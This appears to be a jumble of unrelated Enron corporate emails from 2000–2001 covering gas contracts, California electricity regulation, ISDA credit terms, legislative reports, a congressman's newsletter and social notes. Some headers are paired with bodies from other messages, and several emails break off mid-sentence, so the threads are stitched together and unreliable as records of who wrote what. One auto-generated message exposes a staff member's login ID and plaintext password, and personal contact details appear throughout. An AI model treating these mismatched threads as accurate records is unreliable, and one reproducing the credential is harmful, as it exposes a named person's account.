Subject:	Happy Hour

Anybody up for happy hour after work?  I was thinking Kenneally's at around 5.

Let me know

How are we planning to handle daily volume swings on the 30% priced at Gas 
Daily and which group will hold this risk?  
Which group will handle nominations/scheduling/balancing on the gathering 
system? 

	From:  George Weissman                           10/23/2000 12:40 PM
	
To: Eric Moon/HOU/ECT@ECT, John Griffith/Corp/Enron@Enron
cc: Jill T Zivley/HOU/ECT@ECT, Melissa Graves/HOU/ECT@ECT, Gary 
Bryan/HOU/ECT@ECT, Brian M Riley/HOU/ECT@ECT, Scott Neal/HOU/ECT@ECT, Bob M 
Hall/NA/Enron@Enron, Linda Roberts/NA/Enron@Enron 
Subject: Cabot Oil & Gas Marketing Corporation
Continental Land & Fur 58 #2 Well
Terrebonne Parish, LA
Facility 514800, Transco Zone 3

Eric & John

Enron NA is currently purchasing wellhead gas from the referenced well on 
Transco on a month-to-month basis pursuant to Sitara #415772.  We believe 
Enron Upstream may have an opportunity to firm up this purchase for at least 
a year and perhaps 2 years.  It appears ENA is currently paying a $0.0787 
transport rate along with 4.5% fuel to Transco; the well is producing between 
18,000 and 19,000 Mmbtu/d.

Could you please get us a quote to purchase this wellhead gas on a firm basis 
based on the following:

1 year term
or
2 year term, commencing 11/1/2000

firm purchase and firm transport for 70% of the wellhead volume, starting at 
70% of 18,000 per day and declining as will be defined by our Reserve 

gas daily purchase and interruptible transport for the remaining 30% of the 
wellhead volume

Enron Upstream will keep the desk financially whole should volumes for the 
70% firm component fail to show up on any given day of the 1 year or 2 year 
term

Eric, you have advised you will not be available at 3:30 today; John, would 
you please join us in 3271 today at 3:30 to talk about the mechanics of 
pricing and ticketing the deal described above.  Thanks.

George x3-6992

When you get allocations for January, we need to look at daily volumes for 
Transaction #1. Towards the end of the month, Entex was approaching its Jan 
winter cap volume of 550,000/day. If the daily volume for Trans #1 comes out 
greater than 550, the excess must be charged at GD+10. The numbers thus far 
show that they did not exceed 550. However, the allocated volumes tend to 
differ. 

Thanks,
AC

Bob,
AS you can see from the e-mail I sent you, I believe it has aleady been circulated to customers -- by today, if not yesterday. This is the same draft that you received from me on Monday. Bob, we have to move fast -- we have to be prepared to file within a few hours of any CPUC action.  Believe me, chaos will begin if the CPUC votes for retroactive DA suspension

Others,
Given Bob's request, please do not circulate to any more of our customers until further notice.

Sue
From: 	Williams, Robert C.  
Sent:	Thursday, September 13, 2001 9:05 AM
Cc:	Sharp, Vicki; Smith, Mike
Subject:	RE: Preparing for Legal Action against a retroactive DA suspension

Sue, there are some statements in the brief that would be contrary to positions we would take in arbitration on ouu unwind rights.  For now, please don't circulate to any customers.  I will take a look at the language more closely.

From: 	Mara, Susan  
Sent:	Wednesday, September 12, 2001 6:17 PM
To:	Mann, Michael; Sharp, Greg; Frazier, Lamar; Schwarz, Angela; Keeney, Kevin
Cc:	Blachman, Jeremy; Steffes, James D.; Dasovich, Jeff; Kaufman, Paul; Williams, Robert C.
Subject:	Preparing for Legal Action against a retroactive DA suspension

As of this point in time, the CPUC is NOT expected to vote tomorrow. The CPUC has not said when a new meeting would be held.  Although we continue to keep the pressure on, the CPUC vote could be for DA suspension as of July 1.  We need to be prepared to take immediate legal action in that event.  Here is the plan and what we'd like from customers.

Within a few hours of a CPUC vote, we plan to file at the CPUC for an emergency stay and request for rehearing. As part of that filing, we would need to include all of  the points we would raise in the court and declarations from each individual aggrieved party.   The decalarations would be held completely confidential by the attorney, transmitted directly through our outside attorney and would be filed under protective seal at the Commission.  The attorneys are preparing a pro-forma declaration that each party can use to prepare their own. I will e-mail that as soon as I have it. The draft court case is attached.  It will form the basis for our CPUC filing.
We would expect the CPUC to ignore the filing.  If the Commission failed to act on our request by the next regularly scheduled meeting, we would file in court immediately. We would use the same declarations and much of the same filing info in the court case.
To the extent we have customers on our filings, we have a much better shot at winning. I have gotten agreements form a number of other ESPs who will join with us.  They are: APSES, Strategic Energy, AES/New Energy, American Utility Network, and perhaps Commonwealth. Each of these, in turn, is working to get some of their customers to sign on. I am working with UC's attorney to see if they will join.
Our strategy is similar if the Legislature enacts a law with a retroactive date.  The major differences are that we would go directly to court and we would have to wait until the bill was signed by the Governor. Some of our ESP and customer friends would likely drop off at that point, because they have less financial harm from an Aug 25 date.
If you have customers intersted in signing on, please let me know.  The customer may contact me or the attorneys directly.  Here is contact info:
Sue Mara, Enron Government Affairs, (415) 782-7802
Dan Douglass, outside attorney (formerly with Arter & Hadden), preparing CPUC filing (818) 596-2201
Ed Duncan, Arter & Hadden, preparing court case (818) 596-2291

 << File: Joint Petition Sept 10 Draft.doc >> 

EB1962
3-3848

	From:  Community Relations @ ENRON                           01/18/2000 05:52 
PM
	
To: All Enron Downtown
cc:  
Subject: String Trio of New York

Mark your calendars for Friday, January 21 from 11:30 am to 1 pm.  The String 
Trio of New York will be performing in room 5C2.
This lecture/demonstration will feature the Trio taking an in-depth look at 
the labeling and stereotyping in our society,and in particular,
in the arts. It is being provided via the courtesy of DaCamera, and has 
received excellent reviews throughout the nation!

This promises to be an entertaining and educational performance.  Please 
e-mail your RSVP to Deb Gebhardt. The first 80 people
to respond to this invitation will be notified.  Please feel free to bring 
your lunch!

attached is a quick cut at the 2001 Budget adjustments for HPL.

Total Budget for 2001 was $6.2.  Saving for the remainder of year assume
sale completes by June 1 could be a possible $2.6.

This is just based upon Headcount reduction.

Let me know what you think/

thanks

bob

	From:  Sally Beck @ ECT                           01/22/2001 01:59 PM
	
To: Bob M Hall/NA/Enron@Enron, Leslie Reeves/HOU/ECT@ECT, Jeffrey C 
Gossett/HOU/ECT@ECT, James Scribner/Corp/Enron@Enron
cc: Louise Kitchen/HOU/ECT@ECT 

Subject: 2001 Anticipated Budget Adjustments for HPL Sale

Rod:

There are 2 open issues on Dresdner Bank:

1. Netting - they are saying that operationally they cannot net across 
product lines.  Are you okay with this?

2. Calculation Agent - they want to be the Calculation Agent.  Since we have 
no CSA with them, this means that they would be doing all of the calculations 
required under each transaction that we enter into with them.    
Specifically, the CA does the following:

- calculates the Floating Price and the Floating Amount, Fixed Amount or Cash 
Settlement Amount payable
- gives notice of Settlement and Payment Dates
- determines whether a Market Disruption Event has occurred

Also, my notes indicate that we agreed to increase the Guaranty  cap to 
$25,000,000 from $15,000,000.  Is that okay with you?  They had initially 
requested no cap.

On Reliant Energy Services, Inc., you were going to think about the following 
credit issues:

1. Specified Transaction - they want to include physical energy deals.  You 
were going to think about this and whether we needed a cap.  They wanted to 
amend the definition of Specified Indebtedness to deal with this, but I think 
you and I felt taht it should be dealt with in the definition of Specified 

2. Cross Default threshold - is 3% of equity okay?

3. On Credit Event Upon Merger, they want to define "materially weaker" as 
either (1) being below investment grade by either S&P or Moody's or (2) being 
failed to be rated by either S&P or Moody's.

4. On setoff, they did not have the "affiliate" language.

5. In the CSA, they want the collateral that is posted to secure both 
financial deals and physical gas and power deals entered into between ENA and 
Reliant Energy Services, Inc.

6. In the collateral threshold, they have proposed a matrix of S&P and 
Moody's ratings, with the threshold amount being the lower of the 2 ratings.

AA-/Aa3 and above  $20,000,000
A-/A3 to A+/A1   $15,000,000
BBB/Baa2 to BBB+/Baa1  $10,000,000 
BBB-/Baa3  $5,000,000

 Also, they have defined MAC  to be going below BBB- by S&P or below Baa3 by 
Moody's or a failure to be rated by either S&P or Moody's.

7. In the LC provisions, they have different cure periods for each of the 
types of Letter of Credit Defaults that can occur.  Here is a summary of the 
events and the time periods for transferring substitute colateral:

- If issuer's credit rating is downgraded - 1 business Day after written 
demand by the Secured Party
- if issuer fails to comply with its obligations under the LC or disaffirms 
or rejects the LC - 1 Business day after the pledgor receives notice of 
dishonor
- if LC fails to be in full force and effect or issuer declares bankruptcy - 
3 Business Days after written demand by Secured Party

In our form, we require substitute collateral to be posted within 2 Business 
Days of the occurrence of the above events, except for a downgrade where the 
time period is 5 Business Days

On SG Interests, you were going to talk to them about certain credit issues.

Please let me know when you can where you stand on the above.  Thanks.

Carol 

From: Frei, Laura (ISC at Alcoa)
Sent: Monday, April 09, 2001 11:31 AM
To: 'Kirk Becker'; Velez, Lori (ISC @ Alcoa); Smith, Charles; Jimenez,
Vincent E. (ISC at Alcoa)
Subject: FW: Lets go camping in South America

From: Martha Alexander [mailto:Martha.Alexander@tyc.state.tx.us]
Sent: Monday, April 09, 2001 9:37 AM
To: 'Milton.Frei@alcoa.com'; 'Laura.Frei@alcoa.com';
'Carl.Alexander@alcoa.com'

> From:  Marilyn Alexander
> Sent:  Monday, April 09, 2001 9:28 AM
> To:  Gloria Ray; Maria Rangel; Sarita Kovar; Jeanette McKinney; Sandy
> Brown; Lester Ward; Herbert Wade; Brenda Medack; Silas Waldrup; Juanita
> Sheppard; Martha Alexander; Glenda Mach; Ramon Campos; Josie Lehmann;
> Carolyn F. Webb (Giddings); Dennis Smith; Patricia Hoffman; Paul Drosche;
> Elizabeth Ramos
> Subject:  FW: Lets go camping in South America
>
>
>
> From:  Tim Falke
> Sent:  Wednesday, April 04, 2001 11:10 AM
> To:  Roy Marshall; Dennis Smith; Forrest Gunter; Janis Stevens; Lawrence
> Perkins; Marilyn Alexander
>
>
>
> From:  Nancy Zgabay
> Sent:  Wednesday, April 04, 2001 9:55 AM
> To:  'Stephen Zgabay'; 'Keith @ work'; Tim Falke
>
> This is awful!
>
> From:  Gerald Pohlmeyer[SMTP:GPOHLME@dot.state.tx.us]
> Sent:  Wednesday, March 28, 2001 2:14 PM
> To:  Nancy Zgabay
> Subject:  Lets go camping in South America
>
>  <<Amazon_.doc>>
> See attached!!!!!!!!!
> Open in Word!
>
>
>
>
>

 - Amazon_.doc

Attached, please find a transcript from Governor Davis' press conference
yesterday during which he announced the signing of SBX 5 and ABX 29.
The press conference dealt with a variety of issues.

1424090196.0987090193@@@@&BV_EngineID=falkikghjlebemfcfkmchcng.0&sCatTitle=Pre
ss+Release&sFilePath=/govsite/press_release/2001_04/20010411_transcript_of_SB5
x_AB29x_bill_signing.html&sTitle=GOVERNOR+GRAY+DAVIS+SIGNS+LANDMARK+ENERGY+CON
SERVATION+PACKAGE%0aAPRIL+11,+2001%0a&iOID=14336

When: Thursday, August 23, 2001 2:00 PM-2:30 PM (GMT-06:00) Central Time (US & Canada).
Where: John Arnold's office on 32

Sue Mara
----- Forwarded by Susan J Mara/NA/Enron on 06/08/2001 04:19 PM -----

	"Carol Hudson" <carol@iepa.com>
	06/08/2001 02:46 PM
	Please respond to carol
		 
		 To: "'Alex Sugaoka \(E-mail\)'" <alex.sugaoka@uaecorp.com>, "'Bill Woods 
\(E-mail\)'" <billw@calpine.com>, "'Bob Ellery \(E-mail\)'" 
<bellery@spi-ind.com>, "'Bob Escalante \(E-mail\)'" 
<rescalante@riobravo-gm.com>, "'Bob Gates \(E-mail\)'" <bob.gates@enron.com>, 
"'Carolyn A Baker \(E-mail\)'" <cabaker@duke-energy.com>, "Charles Linthicum 
\(E-mail\)" <charles.linthicum@powersrc.com>, "'Cody Carter \(E-mail\)'" 
<cody.carter@williams.com>, "'Curt Hatton \(E-mail\)'" 
<Curt.Hatton@gen.pge.com>, "'Curtis Kebler \(E-mail\)'" 
<curtis_l_kebler@reliantenergy.com>, "'David Parquet'" 
<david.parquet@enron.com>, "'Dean Gosselin \(E-mail\)'" 
<dean_gosselin@fpl.com>, "'Douglas Kerner \(E-mail\)'" <dkk@eslawfirm.com>, 
"'Duane Nelsen \(E-mail\)'" <dnelsen@gwfpower.com>, "'Ed Tomeo \(E-mail\)'" 
<ed.tomeo@uaecorp.com>, "'Eileen Koch \(E-mail\)'" <eileenk@calpine.com>, 
"'Eric Eisenman \(E-mail\)'" <eric.eisenman@gen.pge.com>, "'Frank DeRosa 
\(E-mail\)'" <frank.derosa@gen.pge.com>, "'Greg Blue \(E-mail\)'" 
<gtbl@dynegy.com>, "'Hap Boyd \(E-mail\)'" <Hap_Boyd@enron.com>, "'Hawks Jack 
\(E-mail\)'" <jack.hawks@gen.pge.com>, "'Jack Pigott \(E-mail\)'" 
<jackp@calpine.com>, "'Jim Willey \(E-mail\)'" <elliottsa@earthlink.net>, 
"'Joe Greco \(E-mail\)'" <jgreco@caithnessenergy.com>, "'Joe Ronan 
\(E-mail\)'" <joer@calpine.com>, "'John Stout \(E-mail\)'" 
<john_h_stout@reliantenergy.com>, "'Jonathan Weisgall \(E-mail\)'" 
<jweisgall@aol.com>, "Kate Castillo \(E-mail\)" <CCastillo@riobravo-gm.com>, 
"'Kelly Lloyd \(E-mail\)'" <kellyl@enxco.com>, "'Ken Hoffman \(E-mail\)'" 
<khoffman@caithnessenergy.com>, "'Kent Fickett \(E-mail\)'" 
<kfickett@usgen.com>, "'Kent Palmerton'" <kent.palmerton@williams.com>, 
"'Lynn Lednicky \(E-mail\)'" <lynn.a.lednicky@dynegy.com>, "Mark Fillinger 
\(E-mail\)" <mark.fillinger@enron.com>, "Marty McFadden \(E-mail\)" 
<mmcfadden@covantaenergy.com>, "Paul Desrochers \(E-mail\)" 
<pdesrochers@thermoecotek.com>, "Paula Soos \(E-mail\)" 
<psoos@covantaenergy.com>, "'Randy Hickok \(E-mail\)'" 
<rjhickok@duke-energy.com>, "'Roger Pelote \(E-mail\)'" 
<roger.pelote@williams.com>, "'Ross Ain \(E-mail\)'" <ain@worldnet.att.net>, 
"Scott Sadler \(E-mail\)" <sadlersa@earthlink.net>, "'Stephanie Newell 
\(E-mail\)'" <stephanie-newell@reliantenergy.com>, "Steve Iliff \(E-mail\)" 
<siliff@riobravo-gm.com>, "'Steve Ponder \(E-mail\)'" <steve_ponder@fpl.com>, 
"'Susan J Mara \(E-mail\)'" <smara@enron.com>, "Thomas R. McMorrow 
\(E-mail\)" <tmcmorrow@manatt.com>, "'Tony Wetzel \(E-mail\)'" 
<twetzel@thermoecotek.com>, "William Carlson \(E-mail\)" <wcarlson@wm.com>, 
"William Hall \(E-mail\)" <wfhall2@duke-energy.com>
		 cc: "Andy Brown \(E-mail\)" <abb@eslawfirm.com>, "'Carol Hudson \(E-mail\)'" 
<carol@iepa.com>, "'Jan Smutny-Jones \(E-mail\)'" <smutny@iepa.com>, "Jean 
Munoz \(E-mail\)" <jmunoz@mcnallytemple.com>, "'Katie Kaplan \(E-mail\)'" 
<kaplan@iepa.com>, "Sandra Moseley \(E-mail\)" <sandra@iepa.com>, "'Steven 
Kelly \(E-mail\)'" <steven@iepa.com>
		 Subject: FW: Legislative Report (06/08/2001)

 Dear all,
>
> Attached please find this week's legislative report.  Most of the action
> this week centered around the budget conference committee hearing as the
> deadline to pass the state's budget is next Friday, June 15th.  Also,
> today was the last day for bills to pass out of their house of origin and
> sent to the other house for legislative hearings.  This week's energy
> highlights include the following:
>
> EVENTS:
>
> * Governor Davis sends letter to the state PUC President Loretta
> Lynch, urging that California's petroleum refineries and ancillary
> facilities be exempt from rotating outages. The basis for the governor's
> letter is his stated belief that even a brief disruption of electricity
> for these facilities can shut down production and supply of petroleum
> products for several weeks. "The availability of petroleum derived
> transportation fuels is critical to the public health and safety of
> Californians. Public safety agencies such as law enforcement, emergency
> medical care responders, and the military all rely on these fuels. Without
> petroleum fuels, the ability of these essential-use customers to perform
> their critical functions would be seriously impaired," said Governor
> Davis.
>
> * Governor Davis, along with top executives and business leaders in
> the state, announce a joint-Declaration on Thursday committed to saving 20
> percent in overall electricity consumption. With more than 140 businesses
> and organizations statewide, this "energy-conservation" coalition sets the
> following goals among others to reduce energy use: (1) set temperatures
> for occupied space to 78 degrees from May to October; (2) reduce lighting
> levels by 25 percent and an additional 25 percent upon the declaration of
> a Stage II emergency; (3) close blinds and shades when possible; and (4)
> turn off and unplug all office and kitchen equipment when not in use.
>
> * QFs will have to wait until next Wednesday to hear whether or not
> the state Public Utilities Commission forces utilities to pay 15 percent
> of back payments to some alternative-energy generators.  The PUC postponed
> their vote to June 13 on a proposal that would allow alternative
> generators who need the money to continue making electricity to ask for it
> from PG&E and Edison to remain in business.
>
> * The California State Senate Rules Committee, in cooperation with the
> Senate Select Committee to Investigate Price Manipulation in the Wholesale
> Energy Market, agrees on Tuesday to issue subpoenas to provide further
> background information in its investigation into whether generators are
> illegally profiteering from the state's power crisis. Eight out-of-state
> generating companies (and perhaps, eventually, the Los Angeles Department
> of Water and Power and the state Department of Water Resources) stand to
> receive papers demanding documents on bidding, pricing, and other aspects
> of power sales in the state. Those companies will be Reliant Energy,
> Dynegy Energy Services, Inc., Williams Energy, Enron Corp., NRG Energy
> Inc., Duke Energy, Mirant Inc., and AES Corp.
>
> * Governor Davis signs Executive Order D-37-01 on Monday aimed at
> increasing small business participation in state contracting. This order
> mandates state agencies to push for an annual 25 percent small business
> participation level in state contracting and authorizes the Department of
> General Services (DGS) to streamline the small business certification
> process, increase the pool of certified small businesses, establish a
> Prompt Payment Advocate, and implement a state-sponsored Economic
> Conference and Opportunity Fair focusing on enhancing contracting
> opportunities for small businesses.
>
>
> LEGISLATION
>
> * Property taxation bill -- AB 81 by Assembly Member Carole Migden
> (D-San Francisco) -- passes out of the full Assembly on Thursday with 43
> AYES and 28 NOES. This bill would return the tax assessment authority over
> electric-generating facilities back to the state Board of Equalization,
> thereby nullifying "Rule 905." Although the author asserted that her bill
> will not take away much-needed tax revenue from cities and counties, AB 81
> is considered a huge disincentive and unfair tax on current and potential
> electric generating companies in the state. IEP testified against this
> bill in committee and will continue to oppose this bill in the Senate.
>
> * Assembly Member Cohn (D-Saratoga) gains Assembly approval on
> Wednesday with 47 AYES and 13 NOES for her resolution asking the Federal
> Energy Regulatory Commission to "impose interim price caps until the
> California power market has stabilized.''  Assembly Joint Resolution 11
> (AJR 11) specifically states that price caps be put in place at least
> until California is able to bring new energy supplies on-line and for the
> state's massive conservation efforts to take effect. The resolution
> asserts that California believes not enough has been done by the FERC to
> investigate price gouging by generators and control wholesale electricity
> prices and calls upon the federal regulatory agency to "adhere to its
> governing statutes, its vision statement, and its own regulations for
> companies seeking market-based authority."
>
> * Path 15 study bill passes out of the full Assembly on Tuesday with
> unanimous support from both sides with 69 AYES and 0 NOES. If passed by
> the Senate, AB 460 by Assembly Member Phil Wyman (R-Tehachapi) will
> allocate $10 million from the California Energy Commission to the
> Transmission Authority of Northern California for environmental studies to
> see if this transmission-line group between Northern and Southern
> California can be expanded.
>
* Senate Bill 39xx: Public Utilities by Senator Jackie Speier
(D-Hillsborough) and Assembly Bill 28xx: Electrical restructuring: Oversight
Board: Independent System Operator by Assembly Member Migden, both
originally to be heard in committee next Monday and Tuesday respectively,
have both been rescheduled to a to-be-announced later date. SB 39xx
"clarifies and enhances the state's PUC over in-state electric generating
facilities" while AB 28xx "expands the authority of the Electricity
Oversight Board and the ISO."

* Assembly Bill 35xx: Department of Water Resources: electrical
energy: eminent domain by Assembly Member Juan Vargas (D-San Diego) is
scheduled to be heard in the Assembly Judiciary Committee this upcoming
Tuesday. This bill would require the state Public Works Board to acquire
eminent domain proceedings for the possession and use of real property for
the generation of electrical power. This real property would be "paid for at
fair market value" and put under the control of the state Department of
Water Resources.  IEP opposes this bill, and will testify in opposition at

 <<IEPA Legislative Report.DOC>>

 - IEPA Legislative Report.DOC

---------------------- Forwarded by Judy Townsend/HOU/ECT on 04/10/2001 10:44 

alucio@vertical.net on 03/06/2001 10:37:52 AM
cc:  
Subject: Investinme.enron.com Login information

This is an auto-generated e-mail. 

 From: Training Services (auto-generated)
Sent: Tuesday, March 6, 2001
To:   JUDITH TOWNSEND
Subject: Investinme.enron.com Login information  

Dear JUDITH TOWNSEND, Log into InvestInMe. enron.com with the following Login 
ID and Password:

Login ID   -  judy.townsend@enron.com   
Password  - TOWNSENDJ55868                                       

The first step is to get started with a Login ID and Password noted above.  
Web site demonstrations will be held in EB 568 March 6th, from 9 - 5 a.m. 
(every half hour). Please plan to attend one session. If you have any 
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InvestInMe. enron.com is a new tool to help you manage your professional 
development. It brings together the listings of internal programs, as well as 
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materials. 

Nobody in my shop has seen any of this.  I'm not sure what Rick is doing with 
Skilling, and I am not in a position to respond to the outcome of their 
meeting.  Eric Gonzales needs this ship, or at least play the card with 
either British Gas or BP/Amoco for fuel to supply the spanish plant.  Eric is 
frustrated as well, and nobody has done any economic or commercial study on 
the exmar option.  I'll phone Bergsieker and see what I can find out.  
Thanks.   

Jeff
---------------------- Forwarded by Jeffrey A Shankman/HOU/ECT on 08/28/2000 
01:20 PM ---------------------------
   Merritt Thomas                08/28/2000 12:24 PM

cc: Joe Gold/LON/ECT@ECT, Brad Hitch/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, 
Eric Gonzales/LON/ECT@ECT 
Subject: 

Jeff,

Two quick points:

1.  We wanted to give you a heads-up in case you weren't aware - Rick 
Bergsieker is planning to meet with Skilling sometime this week (believe 
post-Wednesday) to talk about the exercise of the first Exmar option.

This option expires on September 8th, an extension from the original expiry 
of 31 August.
Option 2 (for a third vessel - to expire 30 November) will expire along with 
option 1, if option 1 is not exercised.
Option 1 is US$1,000/day more than the original vessel.  Option 2 is 
US$1,500/day more than the original vessel.  (The original vessel is 
US$51,850/day fixed + US$10,790 O&M escalating)
As discussed earlier, Bergsieker's group is offering the use of the Hoegh 
Galleon (Mystic Lady) to Kogas as an incentive for them to sub-charter the 
second Exmar vessel from us.
While we are not aware of the terms of the sub-charter agreement, we do 
perceive the shipping constraint in the industry to be most acute in the next 
3 years, and thus not the best use of the Hoegh Galleon.

We are under the impression that Bergsieker also plans to use this 
opportunity to discuss "LNG Strategy and Oversight", specifically his group's 
future role in it.  Please see the attached presentation to this end.

2.  We had a planning meeting with Eric today and are pushing ahead on an 
initial business plan to be delivered at the end of the week.  We expect to 
cover the following: 

Opportunities for Enron in this market
Value - where we can extract it
Assets - how best to utilise them
Resource planning
Goals

Please let us know if there is anything further you would like included at 
this point, or if we can answer any questions regarding any of the above.

Thanks,
Merritt & Brad

+44-207-783-7063

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 02/06/2001 

02/06/2001 02:17 PM
cc:  
Subject: Year 2000 Presentations

Excellent.  DF

From: Britt Davis on 08/08/2000 05:00 PM
To: lpain@duke-energy.com, meremmenga@cmsenergy.com
cc: mhbullis@aol.com, Drew Fossum/ET&S/Enron@ENRON, Jim 
Talcott/ET&S/Enron@ENRON, Kathy Ringblom/ET&S/Enron@ENRON, Deborah 
Shahmoradi/NA/Enron@Enron, Brenda McAfee/Corp/Enron@ENRON, Bob 
Thurber/ET&S/Enron@ENRON 

Subject: Bridenstine

PRIVILEGED AND CONFIDENTIAL:  ATTORNEY-CLIENT COMMUNICATION, ATTORNEY WORK 
PRODUCT, JOINT DEFENSE PRIVILEGE

Dear Larry and Merlin,

 This will confirm our various telephone conversations about the 
above-referenced case.  Again, it is my understanding that we have all agreed 
(me on behalf of Northern/Transwestern, Larry on behalf of Duke, and Merlin 
on behalf of CMS Energy/Panhandle Eastern) to jointly retain Jim Peters to 
represent our respective interests in responding to the defendants' subpoenas 
and recently-filed motion to compel, which I have been advised is set for 
telephonic hearing on Monday, August 14, at 8:00 a.m.  Per this agreement, we 
will share Jim's fees and expenses on a 1/3 Northern/Transwestern, 1/3 Duke, 
1/3 CMS Energy/Panhandle Eastern basis.  As part of this agreement, each of 
us agrees to handle substantially all of his respective client's actual 
document production in-house, in order to hold Jim's fees and expenses down.

 In the very unlikely event that Jim encounters an unanticipated conflict 
between the positions of our respective clients, you additionally agree that 
Jim may withdraw from the representation of your clients in this matter, but 
may continue to represent Northern and Transwestern in this matter.

 Jim is currently working on a draft response to defendants' motion to compel 
for Northern/Transwestern.  By copy of this, I am asking Jim to send each of 
you drafts at the same time that he sends a draft by me.

 I look forward to working with you both.

     Regards,

     Britt Davis

I tried calling you, but your voice mail wasn't working.  Please give me a 
call back when you have a chance.  3-5536 and ask for me.
Thanks,

Danielle Stephens
713-345-3238

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CCH Internet service has improved greatly and easy to navigate and retrieve 
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evaluate the two titles and give me your feedback.   Please send me your 
name, Legal group you are in, and titles( FERC or SEC or both) that you would 
like to be included in the subuscription for 2001 by 12/30/2000.     

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sylvia.hu@enron.com
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From:  Pete

To:  Ken

Date: Friday, October 6, 2000

THE HILL REPORT
A Weekly Newsletter from Congressman Pete Sessions
Week of September 30 - October 6, 2000

This Week in Washington, the United States House of Representatives
continued its work on the appropriations process for funding of the
fiscal year of 2001.  The House passed the conference reports on
the energy, interior and transportation appropriations bills.   We
also passed a continuing resolution agreement that will keep the
government running until all 13 appropriations bills are passed and
signed into law by the president.

On Monday of this week, as Chairman of the Congressional Results
Caucus and a member of the Congressional Cyber Security Caucus, I
toured the high-tech corridor of Boston, Massachusetts today to learn
about high-tech issues such as information security, e-signature
legislation and Internet taxation.

I organized the trip to draw attention to the need for more implementation
of information technology security not only among federal and other
governmental agencies but in the private sector as well.  The Congressional
Cyber Security Caucus exists in part to educate other members of
Congress and government agencies of the vital need for secure information
technology systems.

The trip came on the heels of a recent General Accounting Office
(GAO) report to Congress that clearly stated that too many government
operations and assets remain at risk of cyber attack.  The GAO discovered
serious security flaws at major federal agencies such as the Treasury
Department and the Department of Defense - situations clearly indicating
large potential threats to citizen privacy and national security.

Some of the computer systems that run our national defense and military
operations are literally an open target to hostile nations or terrorists
who have cyber terrorism technology.  Both accidental and intentional
attacks on these very systems have been detected and we must take
steps to stop them.

I was joined by Rules Committee Chairman David Dreier (R-CA), Congressman
Tom Davis (R-VA), Congressman Pete Hoekstra (R-MI), Congresswoman
Nancy Johnson (R-CT), Congressman John Sununu (R-NH), Congressman
Jack Quinn (R-NY), Congressman John Sweeney (R-NY), and other prominent
business, community and financial leaders.

We attended a meeting at the Massachusetts Institute of Technology
with area CEOs and high-tech leaders, representing the financial,
communications and technology community.  The discussion was hosted
by TechNet Massachusetts to discuss creating digital opportunities,
H-1B visas, protection of online privacy, and taxation of Internet

I believe that any government agency using information systems and
is linked to the outside world MUST have an efficient and secure
information security system.  The potential privacy and security
threat is not something we should take lightly and unfortunately
too many high-level government officials are doing just that!

Any major business, industry or government organization must consider
the threat of cyber attack and how it could be a devastating situation
to customers and citizens.  I can't imagine any of my constituents
being interested in having their private banking information being
made public to anyone on the Internet.  Security and privacy must
be a priority and the businesses and organizations that possess this
sensitive information can not afford the risk of intrusion.

Members also met with high-tech officials, Governor Paul Cellucci
(R-MA), and Lt. Governor Jane Swift (R-MA) to discuss the future
of the information technology industry as well as pending legislation
in Congress designed to address the pressing needs of New Economy

Earlier this year, I digitally signed the "The e-Contract 2000" with
high-tech America to renew his commitment to promoting the New Economy
in the 21st century.

I pledge to continue my legislative and oversight efforts to remove
the barriers to future innovation, competition, and growth.  Freedom
is the answer, not government intervention.
The New Economy has created limitless opportunities in America today
for consumers, companies and workers alike.

The e-Contract 2000 outlines a number of policies the Republican-controlled
Congress has designed to promote continued growth in the New Economy,
such as "Reducing Taxation, Regulation, and Litigation" and "Promoting
Free Trade and E-Commerce."

Also this year I voted for continued growth in the new economy by
supporting the "Internet Non-Discrimination Act" (H.R. 3709), to
extend the current Internet tax moratorium for an additional 5 years,
through 2006.  The bill passed in the U.S. House of Representatives
by a vote of 352-75.

The tremendous growth of e-commerce has created thousands of high-wage
jobs in this country and has led to countless new choices for Texas
consumers.  The group with me today believes the New Economy should
remain unfettered by burdensome taxes and regulation, to ensure continued
growth and innovation into the 21st century.

Around Texas...

Last Friday, I spoke to the advanced placement Government and Economics
classes at Palestine High School.  I pointed out to them that our
Constitutional form of government is really just an on-going experiment,
and that the continued success of our country depends on the participation
of all of our citizens.  I told them that I am confident that we
can solve every problem in America.  I always enjoy speaking with
enthusiastic young people, and I want to give every student an opportunity
to experience and understand our government.

On Saturday I went to the St. Thomas - Aquinas children's carnival,
and that evening I attended a fundraising event to benefit "For the
Love of the Lake."  This is one of my favorite community projects.
 I have adopted part of the shoreline of White Rock Lake, and would
encourage all of you to come help out at our "Second Saturday Clean-up."
 See my web site for more information.

Tomorrow I will see my friends in Anderson County at the Anderson
County Cattle Baron's Ball.  And in two weeks, I will be in Bryan
for a Town Hall Meeting.  See the notice at the end of this e-mail.

Next week Congress is hoping to finish its work on the budget for
fiscal year 2001.

Have a great weekend! - Pete

>>>  Town Hall Meeting <<<
Brazos and Robertson County Town Hall Meeting
WHEN: Saturday, October 21, 2:00 pm - 3:30 pm
WHERE: GTE Building
501 Industrial Blvd
Bryan, Texas

Have an old cell phone?  Donate it and save a life.......
http://www.house.gov/sessions/calltoprotect.htm

==========================================
Please write to me using the e-mail form on my web site:
http://www.house.gov/sessions/forms/intouch.htm

Please do not use your "REPLY" button to reply to this e-mail.  The
"REPLY TO" address at the top of this e-mail 
("email_newsletter@mail.house.gov")
is used by our computer system to maintain our list of subscribers.

Visit my web site at:
http://www.house.gov/sessions

Each week we add a number of new recipients to our mailing list.
 If you accidentally received two copies of this e-mail, please feel
free to recycle the extra copy, or pass it on to a friend.

If you wish to no longer receive this weekly newsletter, please send
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This newsletter was printed using recycled electrons.

Christie,

Look fwd to the trip.

Shirley is sending you my itinerary.
When are you flying back? What about a dinner on
Tuesday?

Vince

From: Christie Patrick on 02/16/2001 10:10 AM
To: stamer@wharton.upenn.edu, piazzet@wharton.upenn.edu
cc: Vince J Kaminski/HOU/ECT@ECT, Jeffrey A Shankman/HOU/ECT@ECT 
Subject: Wharton Business Plan Competition

Hi Anne!

I'll be at Wharton on Tuesday the 20th--perhaps we can get  together to 
discuss this sometime later in the afternoon.  What does your schedule look 
like?

Thanks!

----- Forwarded by Christie Patrick/HOU/ECT on 02/16/2001 10:08 AM -----

	"Stamer, Anne" <stamer@wharton.upenn.edu>
	01/26/2001 03:47 PM
		 
		 To: "'christie_patrick@enron.com'" <christie_patrick@enron.com>
		 cc: 
		 Subject: Wharton Business Plan Competition

Dear Christie:

Thank you for your voice mail. Things  are moving along nicely with the 
competition.   Phase II deadline was today, so we hope to have some 
statistics in the next few weeks.  I have attached the statistics from Phase 
